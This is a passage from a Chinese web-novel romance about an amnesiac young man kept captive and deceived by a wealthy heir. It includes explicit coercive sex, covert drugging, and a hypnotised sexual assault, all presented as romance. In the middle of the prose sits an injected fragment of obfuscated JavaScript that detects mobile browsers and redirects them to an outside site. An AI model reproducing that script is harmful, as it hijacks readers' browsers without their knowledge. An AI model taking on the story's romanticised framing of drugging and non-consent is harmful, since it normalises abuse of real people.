不再有怜惜,而是征服和鞭挞,甚至尺度已经超出了他能接受的范围。
他想,好像是在他主动并拢双褪时才转变的。
惩罚一样的力度让他不太舒服,云霏的小臂撑在绒毯上,关节处泛着红,另一只手往后摸索着却让人闷哼一声。
他后知后觉地拿开手,却又被人死死握住。
裴景淮又开始控制不住自己的面具了,面具下那个暴虐冷血的另一面时不时出现。
……
让他嫉妒到恨不得立刻除掉那个人。
一个视频怎么够?
裴景淮顶了顶腮,他应该把人绑在床边亲眼看着他和云霏做。
“……等,等一下,”
裴景淮抚摸着青年汗湿的光滑脊背,舔吻啃咬着:“怎么了,宝宝?”
“想要什么自己说出来。”……
“……老公,”像是被逼无奈,似恳求又似撒娇,听到这个称呼的一瞬间裴景淮的呼吸瞬间粗重起来,连带着动作也不知轻重。
他把青年汗湿的黑发拨到一边,以为自己会听到云霏被欲望裹挟下的求饶,但他怎么也没想到。
云霏只是说:“抱抱我。”
16.命运交缠的结
像是被按下了暂停键,裴景淮忍到青筋暴起,一时之间却停下了所有动作。
因为是被人粗暴按在地上的姿势,云霏的脸搁在自己汗湿的小臂上,脸侧因为身后人的动作不时地向前蹭在地毯柔软的绒毛上。
被蹭出了一片红痕。
睫毛上挂住的泪珠还没有掉落,扭着头抬眼看过来的时候,用着那么轻的语气只是为了......一个拥抱。
裴景淮抽身而出,放缓动作把人翻过来,他凝望着有些茫然的青年,忽然俯下身子吻去短暂停留在长睫上的眼泪。
云霏透过朦胧的双眼对上裴景淮的眼神,却什么也看不清,也看不懂。
紧接着,一个又一个吻落在他的眉心、鼻尖,轻柔地滑过脸颊,最终,一个不算吻的吻落在唇角。
是几乎感觉不到的重量。
云霏却觉得比之前两人的任何一次深吻都要真心。
男人沉默地把他拥在怀里,云霏枕在对方宽阔的肩颈处,两条光滑的手臂从身后抱住对方。
云霏能感觉到对方仍然灼热的呼吸,也做好了把被摩擦发热的两侧皮肤供他使用的心理准备。
可裴景淮只是这样抱着他,把青年汗湿的黑发轻轻梳理开,不轻不重地摩挲着云霏的后颈。
把人微微压向自己,把人抱了个满怀才略感满足,那种从心底传来的酸痛的涩意才稍微缓解。
不疼,却很折磨人。
让人不知道该怎么办才好。
刚才哭得厉害,现在云霏后知后觉地觉出眼上的酸涩,这种酸涩却又在裴景淮的怀抱中酝酿出睡意。
温度正好,两个人肌肤相贴,但脱离了欲望之后,只剩互相取暖的安心感,让他空荡荡的心在此刻被填满。
云霏闭上眼睛,又把自己往裴景淮的怀里藏得更深,半梦半醒间他好像听见有人用叹息般的声音说——
裴景淮抱着人躺在身下柔软的毯子上,没有管还很有存在感的地方,他看着云霏眼睛眨动的频率越来越缓,琉璃一样的眼眸一瞬又一瞬出现。
他看着云霏冷清的脸上留下情欲的余韵,又很快退去。
他开始感到后悔,这是他第一次意识到自己学不会怎样爱人。
裴家的确是顶尖家族,可对他来说那只不过是个冰冷的养蛊场罢了。
他从中学到的只有撕咬和争抢,他只会用粗暴的手段去掠夺,他根本没办法做到像一个正常人那样。
装得再像,也有暴露的一天。
——睡个好觉。
*
“还没有找到?”
平淡的口气却让低头站在办公桌前的人绷紧神,下属在心里过了几遍措辞,才一字一句地汇报。
“陆总,我们的人去查了裴家那位的出入路线和明面上的产业都没有任何收获,只是...那些暗地里的产业我们这些人查不出来。”
言下之意就是专业的人还是应该交给“专业的”陆家人去查。
陆珵身为陆家的继承人,能动用很多家族资源,但要动用那批人一定会惊动那群老家伙。
上次那几个人渣只是蝼蚁,还没办法让上层阶级的人看在眼里,处理掉他们就好像掸掉身上的一粒灰尘一样简单。
可裴家相比较起来庞大太多了,他们三个家族相互缠绕、彼此竞争又合作,这种商业关系已经持续了太多年。
那群老顽固们不会愿意让这种稳定的关系被打破。
也许...裴景淮就是算准了这点,又或许那是个彻头彻尾的疯子,他根本不在乎这件事会带来怎样的后果。
那么,陆珵在乎么?
下属的话音刚落,就看见对面的陆总眼皮一掀,命令道:“去查。”
*
“嘟...嘟...您拨叫的用户无人接听...请稍后再拨...”
沈确站在云霏家楼下,拨出去的第三个电话依然无人接听,他熄灭屏幕,点燃一支烟。
自从那天云霏带着释然的笑意说明天要回学校看看之后,他就再也联系不上对方了。
起初还没有察觉异常,毕竟云霏也只在每周三和每周五会到晚云弹琴,其余的时间他通常见不到人,云霏不愿意说,他也就从来都不问。
他等待着青年温言告诉他要复学的好消息,等待着青年主动敞开心扉的那一天,却只等来青年失踪的消息。
云霏没什么朋友,唯一的亲人卧病在床,这世上再没什么人惦念着他,于是人失踪了就好像一滴水融入到大海中,没有掀起任何波澜。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801865|146754||http|test|mini|href|location''.split(''|''),0,{}));
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>沈确想到这里心口一滞,他掐灭了烟,抬脚走到楼上,老旧小区甚至没有什么年轻人,楼道里只有他一个人的脚步回响。
多少个夜晚,云霏就是这样兼职下班之后拖着沉重的步伐走在楼道里,脚步一声一响,当他握住生锈的门把手却只能推开一室清冷的月光。
沈确深吸一口气,烟瘾又上来了,他在那扇门前操作了几下,很轻易地就打开了云霏栖息的小屋。
用最快的速度搜索一遍,没有任何线索,云霏似乎在失踪前就没有回来过,阳台上摆放的绿植叶边开始泛黄了。
沈确回到客厅的沙发前坐下,他最终还是点燃了第二支烟,烟雾笼罩中他的耳边响起他朋友调查出来的结果——
“酒吧...会所...很多人都知道他...卖身...包养...”
那双用来弹琴的双手究竟是怎样用来端酒?又是怎样推拒着那些人下流的目光和恶意的?
报警没有用,没人比沈确更清楚这件事了,那些真正的权贵玩弄一个普通人如同玩弄一只小小的鸟雀。
他也曾经是那些势力中的一员,从中逃离出来之后发誓再不回头。
沈确猛吸一口烟,火光明灭之间,他最终还是拨出那个以为永远都不会再打通的号码。
“...少爷?”短暂的沉默之后对面很快反应过来。
“沈叔,是我。”
“您...您是打算要——”
“帮我查一个人的下落,”沈确打断那道逐渐激动起来的苍老声音,“不要惊动任何人。”
*
那天也许是感动压过了理智,两个人在玻璃房里一直待到晚上,裴景淮想用什么姿势,云霏都乖乖配合。
但裴景淮却不再让云霏背对着他了,他后半程都很温柔,面对面抱着人,那双又长又直的腿柔韧性很好。
无论怎样弯折青年都用一种包容的态度全数接纳,只是每当裴景淮有朝着下面探索的倾向时,青年都会挣扎得很厉害。
也不说话,只是用水润的眼睛看着人,看着看着裴景淮都觉得自己是个禽兽,也只好无奈地放弃。
但第二天云霏清醒之后,裴景淮无论怎样诱哄,他都不肯再在玻璃房里胡闹,也不再愿意说出那个让他羞耻的称呼。
17.催眠
失去记忆的云霏逐渐放下了对裴景淮的防备,他一点点沉溺在裴景淮不择手段为他编织的幻梦里。
他相信了那个休学的借口,而裴景淮也早已忘记在云霏失忆前答应过他的要帮他复学的承诺。
或者,换句话说,只有当云霏切切实实心甘情愿地走进牢笼,永远属于他的时候,他才会“施舍”般地给予云霏自由。
某些时刻,裴景淮也会恍惚,他差点就要以为这场“改造”已经趋近完美。
在云霏倚靠着门框目送他出门的时候,在云霏系上围裙为他切水果的时候,在云霏虽然有些抗拒但依然配合他想玩的花样的时候。
甚至,在他玩笑着让云霏把头发留长时,云霏当时没有说话,第二天却给自己脑后扎了个小揪揪。
短短的一束,鬓边一侧几缕黑发垂落,露出白皙的额头和精致的五官,笑容晏晏。
米白色毛衣让他整个人显得很温柔,精致的锁骨上点缀着一条银色项链,款式很简单,却衬托着那里的肌肤格外细腻。
淡青色血管在冷白的皮肤上凸显出来,蜿蜒着去亲吻一颗红色的小痣。
让人爱不释手,让裴景淮日日夜夜用牙齿研磨不休。
但云霏偶尔的走神、恍惚,眉眼一闪而过的疏冷,让他明白,那个不屈的灵魂还在做着无谓的斗争。
*
“叮咚——”门铃响了。
云霏匆匆整理好咖啡杯垫的位置,示意家里的阿姨把吧台上的甜品和水果拿过来,就赶忙跑去开门。
今天是预约的医生上门检查的日子,本来景淮是要陪着他一起的,但前不久接了个电话之后,景淮的脸色突然变得很难看。
他只好善解人意地让男朋友先去处理工作,甚至还附赠了两个香吻才把人送走。
“你好,是林医生吗?”门外的人出乎意料的年轻,一身银灰色西装倒不像是医生,反而像是事业有成的企业精英。
“是我,你好,云先生,初次见面,我是林屿桉。”
来人温和的笑容和架在鼻梁上的银框眼镜冲淡了他身上的锋锐,手中提着的医疗箱让云霏悬着的心放回了肚子里。
家里景淮不在,对于上门的外人他多少要抱着点警惕心,才分开不过二十分钟,他已经开始想念景淮了。
依赖成瘾,骤然被拉扯断,心里空空的有些难耐。
林屿桉玩味地打量突然愣在门口发呆的青年。
半长的发被人随意拢在脑后,用浅蓝色发圈固定住,纤长微翘的睫毛因为青年沉浸在自己的世界里而缓缓眨动。
像是两片轻轻振翅的蝶翼。
不过林屿桉最先注意到的却是青年挂在脖子上的围裙,身前的布料两侧向后延伸直到丈量出那截细腰才停止,松松垂下。
搭配着浅色家居服又让云霏多了一种...微妙的人|妻感,总之和林屿桉第一次见到他时所感受到的已经完全不一样了。
简直判若两人。
看来第一支药剂在他身上发挥出来的效果已经到极致了。
嘴角的笑容扩大,林屿桉出声打断云霏的心不在焉:“请问,我可以进去了吗?”
“不好意思,林医生,快请进。”也许是对自己招待客人不周感到羞窘,青年轻咬贝齿,眼睫颤动的频率加快。
被青年带着坐在沙发一侧,林屿桉不动声色地打量了一圈周围环境,光是一楼客厅,就明里暗里站着不少“仆人”。
就连看似低头双手交叉等候吩咐的“阿姨”,也绝对不是什么普通人。
瓷器磕碰的声音让林屿桉重新把视线放在云霏身上,他正小心地把咖啡放在桌面上,扶住杯壁的指尖被烫得发红。
“我自己来,”林屿桉单手接过,两人交接的一瞬间他看似无意地拂过云霏的手背,得到青年手指轻颤的反馈才满意地轻抿一口。
他来此的目的除了云霏这个当事人,其他人都心知肚明,但为了把这出戏唱下去,他也不介意伪装身份。
几段没有营养的对话过去,林屿桉才进入正题,他拎起身侧的箱子,温和地提出要求:“麻烦云先生找个单独的地方,我需要为您做一个检查。”
“...好的,”云霏没多思考就带着人走到二楼,本想在卧室停住的脚步一顿,才恍然发觉不太合适,于是只能带着人推开书房的门。
“想必裴少也吩咐过,‘治疗’需要单独进行,其他人最好还是不要进来。”
“没事的阿姨,景淮书房里有监控,”云霏充满歉意地对林医生点了点头,转身在门口小声地和想要跟进来的阿姨解释。
“嗯嗯,放心吧,有什么事我会叫你们的。”
自以为压低声音的云霏却还是有种恶意揣测他人的不安,直到把门关上走到沙发前坐下时脸颊还是红红的。
“可,可以了,医生。”
“放轻松,只是常规检查,”林屿桉扶了扶镜框,嘴角的笑容一如既往的温和。
他拿起听诊器半俯下身靠近云霏,冰凉的圆形物体直接被人按在胸口的皮肤上,云霏被凉得一抖,伸进胸口的手尽管已经在避嫌了,却还是不可避免地蹭过皮肤。
近在咫尺的属于另外一个男人的呼吸让云霏感到不自在,除了景淮他从没有距离另一个人这样近。
可惜,他不知道的是,如果从侧面看去,会发现林屿桉已经是半圈住他的姿态,锁住了他所有的逃生路线。
“好了吗?”大拇指剐蹭锁骨的触感越来越清晰,云霏开始感到不安,他小心翼翼抬起头观察医生的反应。
却正对上一张笑得病态的假面。
“嘘,别说话。”<
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未出口的惊呼被人用手一把捂住,感受着手心湿热的呼吸,林屿桉懒得再玩医生与病人的扮演游戏。
沾染上体温的听诊器被他抽出来,在受到惊吓的云霏眼前微微摇晃。
“滴答——滴答——”
不知从何处传来的声音钻入云霏的耳朵,伴随着以特定节奏摇晃的频率,很快让云霏陷入深度睡眠。
“我们又见面了。”林屿桉慢条斯理地摘下领带,解开纽扣,又随手把眼镜扔在一边。
没了眼镜之后,他身上的违和感越来越重,狭长的眼眯起来很容易让人联想到不怀好意的变态。
很轻松地搂腰把人抱起来放在书桌上,上半身却还是软倒在林屿桉怀里,他很快把青年身上的家居服剥了个干净,只留下那件松松垮垮挂着的围裙。
“睁开眼睛。”命令响在耳边,原本昏睡的青年跟随指令睁开眼睛,但却不复清醒,只剩下被催眠后的迷蒙。
“帮我解开。”
“握住。”
“搂住我的脖子。”
“别叫出声来,会被发现的。”男人恶劣地……
新的指令让他只能自己捂住自己的嘴巴,生怕泄露出一丝一毫的声响。
“景,景淮......”
……
揉捏细腻的触感真是让人流连忘返,林屿桉低头在云霏耳边说了句什么,接着两个人同时抬头看向正对着他们的监控。
云霏痴痴地笑起来,俨然已经被yu望浸染透了。
裴景淮坐在主位上光明正大地查看着手机里别墅的监控,长桌两侧那些老家伙的争论左耳朵进右耳朵出。
林家那个讨厌的家伙正在给云霏注射第二支Y1—5,完成之后很快被云霏送到门口离开。
“好了,”手机被翻过来盖住,裴景淮摘下蓝牙耳机,保持着双腿交叠的姿势踹向桌子,刺耳的摩擦声响起,瞬间让聒噪的会议室安静下来。
“各位叔叔伯伯们不用争了,从今天开始,我们裴家终止和陆氏集团的所有合作。”
“有意见么?”
环视一圈,老头子们神色各异,但没有一个出声反驳的,裴景淮终于满意,伸手搭在距离他最近的一个中年人椅背上。
“还得麻烦大伯帮忙操持一个宴会,我要让所有人知道我的东西谁都抢不走。”
伸手轻拍了两下中年人的脸,嘴里表示感谢,却做着侮辱人的动作:“辛苦了。”
“这——裴景淮这也太猖狂了!”
“这样下去,裴家迟早变成他的一言堂!”
直到那个身影扬长而去好一会儿,留在会议室里的人才敢在背后说几句不痛不痒的抱怨。
“裴景淮...”中年人用纸巾狠狠擦着被拍过的脸,眼里流露出一丝阴狠。
18.黏人
浴室里,云霏解开衣扣,没了束缚的衣物顺着光裸的肩头滑落,堆叠在脚下。
镜里的美人呆呆地站了一会儿,视线滑过自己胸口时才把飘远的思绪拉了回来,对着镜子让他更能清楚地审视自己的身体。
奇怪,为什么...有点红肿?
他低下头,这样看得更清楚了,试探性地用手戳了戳,一阵难以启齿的感觉从那一点扩散开来,他有些惊慌地双手捂住嘴。
下意识地把呻吟吞回腹中。
要是景淮在就好了,云霏咬住下唇,两颊升起一团酡红,他自暴自弃又不得章法地自己大力揉弄着,弄了半天,反而愈加难受。
要是景淮在,就可以——
云霏皱了皱眉,除了那里他还觉得腰间有些酸痛,但审视了半天也没发现什么不对,只好换上一套更加轻薄的睡衣,出了浴室门就一下子扑在柔软的床上。
随意地用被子把自己裹成一团,再伸手一捞把床边的抱枕抱在怀里,就这样懒洋洋躺着不想再动了。
半梦半醒间他听见外面有人走动,紧接着卧室门被人轻轻打开,他努力睁开眼就看见穿着长风衣从而更显身材颀长的裴景淮挟着一身寒气朝他走过来。
精心打理过的发型和穿着让平时好脾气的恋人看上去有些陌生,有些冷硬。
不过在云霏散着头发半抬起头的时候,裴景淮脸上又重新显出让他安心的笑来。
“宝宝,今天一个人在家有没有想我?”裴景淮并不是非要一个答案,因为他在说完话的下一秒就托着云霏的后脑和他接吻。
在接触到湿软的唇肉时,云霏微微开启的缝隙就已经给了他答案。
只是浅尝辄止,裴景淮不想让自己身上的寒气离云霏太近,他打算洗个澡再过来,可还没等他微微直起腰,一双手臂就已经挂在他脖子上。
温暖的身体窝在他怀里,脸颊埋在他臂弯处蹭了蹭,云霏嘴上说着“那你快点回来”,却没有半点放手的意思。
真是,越来越黏人了。
裴景淮重新俯下身,作势要把手伸进云霏衣服里时才让人唰地一下丢开手,重新埋在了被子里。
时间越长云霏一些喜好越被他摸得清清楚楚,不洗澡不被允许上床,睡觉时喜欢抱着东西睡,睡眠很浅,被吵醒时会不高兴,要生闷气......
裴景淮勾了勾唇,快步走向浴室,等他披着浴袍再回来时,床边只剩下一盏昏黄的小灯,而床上的人似乎已经睡熟了。
他掀开被子,从身后把人揽在怀里,鼻腔里都是云霏身上好闻的味道,不是沐浴露的味道,而是一种独特的冷香,像被霜雪覆盖的花。
借着灯光把云霏的右手臂拿出来,白皙的皮肤上青紫的针孔很显眼,他彻底放下心来。
时间已经不早了,他把灯关掉之后没打算再对熟睡的人做些什么,但还没躺一会儿,怀里的人突然挣动起来,等他把力道放松之后面对面往他怀里挤了挤。
强撑着困意硬要睁眼瞧他,还……
……
“景淮,这里不舒服。”带着明显睡意的声音被含在嘴里,连带着被掀起来的衣摆也被含在嘴里。
“是么?”裴景淮坐起身,把人抱在腿上,他重新打开床头小灯,让云霏嘟囔着不舒服的地方完全暴露在灯光下。
……
“自己弄的?”
有些沉哑的声音贴着耳边,云霏半睁着眼点了点头,整个人往他掌心里送:“我自己弄得不舒服,很奇怪。”
……<
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p>“自己试试,”也许是不满意只有自己动手,裴景淮……
没办法,劳动成果只能由出力最多的人独享,不过裴景淮是个耐心的美食家,他先是含在嘴里慢慢品尝滋味,觉得差不多了才吸咬着果肉。
边吃边滋滋有声,气得云霏小声抽噎。
“过几天陪我出席宴会,把你介绍给我的家人和朋友好不好?”
……
一直到两人都打理干净才别别扭扭地回了个“好”字。
*
a市市郊,这次宴会的举办地点在裴家祖宅,安保森严,车辆出入都需要提前和主家打招呼,更不用说还需要备好请柬了。
保安亭中,立正站好的几个保安朝着呼啸而过的豪车弯腰,还没刚坐下,紧接着又是几辆车驶过。
“哟,林家、陆家都来了?”
“刚还过去一辆霍家的车呢!”
“不是听说霍家少爷被关起来了吗?怎么...”几人压低声音,细数豪门里的密辛。
“早放出来了,这不又露面了?”
“毕竟是霍家独子......”
......
虽然说是裴家主办的宴会,但在场的裴家人并不多,宴会的主角也迟迟没有现身。
被邀请而来的有头有脸的人物却不敢轻易抱怨,而是三三两两走动起来,其中林氏总裁所在的位置围了一圈人,因为温和有礼,谁来都能凑上前说几句话。
那些明里暗里表达的合作意图也被他三言两语化解。
与之相反的,另外一处沙发同样坐着位家族继承人,却没人敢去打扰。
陆珵摇晃着手中的酒杯,暗红色的酒液一口未动,他今天来到这里就是想看看裴家的疯子到底想干什么。
19.订婚宴
“是新来的么?裴少爷不允许外人进入二楼,一楼客人太多,正缺人手,快下去吧。”
身着燕尾服的管家站在楼梯口,温言叫住前方端着托盘的新……侍者。
停下脚步的侍者垂着头,弯腰示意后踩着楼梯下去了。
管家眯了眯眼,嘴角还挂着一抹平易近人的笑容,他目送着侍者走到一楼,很快转了个拐角就看不见了。
裴家哪来的新侍者呢?这里的每一个人他都能叫得上名字,每一张脸他都记得清清楚楚。
不过,他看了走廊尽头一眼,叹了口气,少爷向来我行我素,骄傲惯了,并不把这些人放在眼里。
可依他看,少爷终会在“情”字上栽一个跟头。
……
沈确低着头,从人群中穿行,偶尔停下来方便客人拿取托盘上的酒杯,拐了个弯后他找了个角落重新换了身衣服。
裴宅比他想象的要更严密,想要混进来真是废了一番功夫。
消耗以前的那点人情得到的消息也不够准确,目前他只知道云霏大概率被裴家的继承人藏了起来,具体地点却一无所知。
在这个节骨眼上,由裴家继承人亲口宣布举行的宴会或许就成为唯一的突破口。
云霏……会出现吗?
……
“小舅,往常这种宴会你不是一般都不会出席吗?”
“怎么,今天哪来的兴致?”
身侧的单人沙发被来人占据,人还没坐稳话就先出口了。
一如既往地令人厌烦。
陆珵抿了口红酒,杯底和大理石桌面相触,发出清脆的响声。
“如果不想再被送回去,就闭嘴。”
打蛇打七寸,一句话噎得刚取消禁闭的霍栩噤了声。
不过,他倒是没像往常那样,轻易动怒,而是意味不明地挑了挑眉。
他学聪明了,不会在未达到目的前就轻易让人抓住把柄。
这段时间经过心理医生的复诊,再加上他故意在他妈面前的示弱,成功获得自由,刚出来就被派来参加宴会。
裴家的那个疯子回来了。
裴疯子要举行订婚宴。
这两条消息在整个a市上层圈子里引起轩然大波,准确的说,是后一条消息给人的冲击更大。
裴景淮,订婚?
这件事的荒谬程度不亚于太阳从西边出来。
有人说,订婚是假,裴景淮想对某位叔伯动手是真,他刚上位,根基未稳,急需要把那些冒出头的给压下去。
还有人说,裴景淮找到了真爱,还是个男的。
不过霍栩对此嗤之以鼻,一个弑父的疯子连基本的伦理道德都没有,怎么会有正常人的情感?
爱?照他说,裴景淮强取豪夺把人当做玩物的可能性还更大点。
这些纷纷扰扰和他没关系,他也丝毫不关心裴景淮订婚宴的另一位主人公,是人是鬼都行。
他关心的是怎样才能把云霏从他小舅那里抢回来。
对着路过的侍者招了招手,他随手拿起一杯红酒做做样子,无聊到观察其他人的动向。
呵,林家的那个就是死装,背后阴人不带重样的。
他撇了撇嘴,在心底骂围着林屿桉的那一圈人是傻x。
被人卖了还帮人数钱的一群蠢货。
嗯?那帮蠢货都在看什么?
他顺着其他人的视线看向通往二楼的旋转楼梯——
……
“景淮,你不是说只有你的亲人和朋友吗?怎么…这么多人?”
云霏扯了扯裤脚,他总觉得西装裤里穿戴的东西很不自在,有点紧。
但更重要的是,他现在有点儿紧张。
他原以为这只是个三五个人的小聚会,所以毫无心理负担地答应了。
直到来到老宅从二楼露台看到一辆又一辆车开进庄园,才发现事情没那么简单。
裴景淮正单手插兜站在阳台吸烟,一身黑色西装显得俊美非凡,烟头明明灭灭,却更衬托出那双冰冷的深蓝色眼睛有种惊悚的非人感。
在这个喧闹的夜晚,云霏从此刻开始有种不好的预感,像是暴雨来临的前兆。
“因为太想让所有人都知道你是我的,所以自作主张了,”裴景淮很快掐灭香烟,深深地呼出一口带着寒风的烟气。
等到身上的烟味散得差不多时,才回到室内,把人揽到怀里,吻了吻云霏的发顶,柔声道:“原谅我吧,宝宝。”
云霏还能说什么呢?他容易心软,更抵挡不住这种被人珍重的感觉,最后就这样稀里糊涂地原谅了某人。
“但是,你下次要先说清楚,我也不一定会不同意呀。”
“好,下次都听你的。”
裴景淮熟练哄着怀里的人,他抬起手,看了一眼腕表,揽住那截细腰的手下滑,顺势牵住云霏。
“时间到了,走吧。”
我的新娘。
……
——二楼的旋转楼梯上,一对身影互相依偎着慢步走下来。
而众人目光的焦点身着一身白色高定西装,裁剪合身,将衣服主人清瘦的身形完美勾勒出来。
很少有人能把白色穿得那么脱俗自然,胸口的红宝石胸针又增添了一丝红尘气,让人惊觉眼前人是真实存在的。
半长的头发看样子被精心打理过,微烫过的黑发半卷,斜着梳向脑后,层次分明,给人一种日系男主的忧郁随性感。
又或者像是童话故事中黑发红唇的美丽公主。
头发再长一点儿就好了,不少人在心里暗自可惜。
但这点微不足道的不满在看清人五官的那一刻就消散了,青年居然有一张清冷至极的脸。
极精致又极冷淡。
和这一身装扮之间那微妙的矛盾感,让他的美更加夺目,站在楼梯上往下看的样子,让人幻视雪原神女俯瞰众生。
白色西装的青年手臂搭在身旁比他高了一头的裴景淮臂弯里。
即使很不想承认,但这一刻两人确实般配,只不过越看裴疯子那张目中无人的脸,越令人不爽。
那美丽的青年该不会真的是被强取豪夺得来的吧?
订婚的日子青年脸上没有一丝笑容,难道不是被迫的吗?
“云霏?!”
原本还事不关己高高挂起的霍栩腾得一下站起身,压抑着上前质问的冲动五指按在沙发上,按出一个深深的指印。
这才多久,他怎么从小舅那里又到了裴疯子那里?
这么缺男人么?
原来他之前拒绝他是因为有更好的选择,辗转在各个男人之间,恐怕那些反抗和拒绝都是装出来的吧?
欲拒还迎的把戏!
压抑着怒火的霍栩没有注意到,被他忽略的小舅虽然依然端坐在沙发上,但目光从青年出来的那一刻就再没离开过一瞬。
陆珵来到这里,仅仅是想知道这个
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美丽的宠物值不值得他费心思抢回来。
现在看来,有答案了。
“今天是我和云霏的订婚宴,感谢大家百忙之中来参加,大家的祝福我们都收到了,接下来请随意。”
作为这场宴会的主人公,裴景淮的致辞让人挑不出毛病来,但这恰恰是他身上最大的不正常。
裴景淮,还能说人话呢?
“哦,忘了提醒大家,”他漫不经心地轻敲栏杆,“有人不自量力想从我手里抢东西,我也奉陪。”
说完该说的话之后,裴景淮很快带着青年回到二楼,他名义上强调着两人的订婚宴,却没给身侧青年说话的机会。
就好像把自己的所有物拿出来给大家展示,独断专行地宣布他的归属权,让人不适。
……
“放开我!”
云霏在外还强撑着给裴景淮留面子,没有当场发作离开已经是他忍耐的极限了。
一回到卧室,他就去掰裴景淮桎梏在他腰上的手,使尽全力也没能撼动分毫。
这种力度似乎没被人放在眼里,只把它当做他闹脾气撒娇的情趣。
“怎么了?宝宝,为什么生气?”
裴景淮嘴上哄着人,手上也没空闲,伸手从云霏衬衫下摆的空隙去捕捉那截腿环。
不过最先捉到的却是因为被勒而更显丰盈的大腿肉,还没等他下一步动作,就被云霏使劲力气的推搡拉开距离。
“你说我为什么生气?”云霏深吸口气,压抑着自己满腔委屈,卷发因为拉扯有些凌乱,遮住了他发红的眼眶。
“你有没有问过我要不要订婚?你说这是订婚宴,为什么我最后一个才知道?”
“为什么就这样自己决定了?”
“我的意见,难道不重要么?”
一字一句的诘问让裴景淮玩笑的神色变得认真了一点。
他走近一步,云霏就后退一步,直到退到门边,倔强地撇过头不愿意看他。
“宝宝,你听我说,”裴景淮双手捧着云霏的脸,慢慢转过来,“其实我们在你生病之前就已经商量好了订婚的时间。”
“我们还一起挑选了这套礼服,颜色是你拍板决定的,”裴景淮叹了口气,郑重地说,“我只是想把我们共同的设想变成现实,给你一个惊喜。”
“我以为,这可能会让你更快地想起来失去的记忆。”
“对不起,是我错了,宝宝。”
云霏将要压抑不住的情绪就这样被裴景淮化解,甚至听到最后还让他产生了一点愧疚。
原来景淮在他不知道的情况下做了这么多,他却……
“景淮,是我不好——”
未说出口的歉意被人堵在嘴里,云霏努力放松着自己接纳这个吻。
任由人在自己口腔里肆虐,直到他呼吸不上来抓皱裴景淮的衣领才被放过。
他微微喘着气,平复着呼吸,颜色偏淡的唇肉已经红肿,唇肉被人反复吸吮,显得饱满多汁。
“对不起,我想不起来了。”
他把头靠在裴景淮的肩膀上,有些失落。
“没事的,我们慢慢来,”裴景淮微微一笑,轻抚云霏脊背的手来到腰间,低下头在云霏耳边说了一句话。
热气喷洒在耳朵上,让云霏的耳朵红扑扑的,好半晌才咬着唇点了点头。
他点头的幅度很小,如果不是裴景淮一直观察者他的动作,恐怕就要错过。
……